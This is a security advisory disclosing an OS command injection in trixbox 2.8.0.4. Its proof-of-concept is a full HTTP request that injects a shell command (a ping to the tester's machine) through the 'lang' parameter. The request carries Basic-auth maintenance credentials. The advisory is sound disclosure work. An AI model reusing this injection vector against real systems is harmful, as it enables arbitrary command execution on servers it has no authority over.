Title: TrixBox OS Command Injection Vulnerability
Affected Product: trixbox-2.8.0.4
Product Page: https://sourceforge.net/projects/asteriskathome/
CVSSv2 Score: (AV:N/AC:M/Au:S/C:C/I:C/A:C) Severity:Critical
Solution Status: N/A
Credit: Sachin Wagh (@tiger_tigerboy)
__________________________________________________________________________________________
Description:
Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation. (Source: OWASP).
Impact:
A successful attack could potentially violate the entire access control model applied by the web application, allowing unauthorized access to sensitive data and functionality.
Proof-of-Concept:
- Affected Request:
| GET /maint/modules/home/index.php?lang=english|ping%20-c%2020%20192.168.0.3||x HTTP/1.1 Host: 192.168.0.6 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.0.6/maint/ Cookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; ARI=teev7d0kgvdko8u5b26p3335a2 Authorization: Basic bWFpbnQ6cGFzc3dvcmQ= Connection: keep-alive Upgrade-Insecure-Requests: 1 |

In the above figure injecting command, to ping my attack workstation, I then started a tcpdump session to listen for pings from the target IP address. When we received them it proved that the command injection was genuine.
Credit: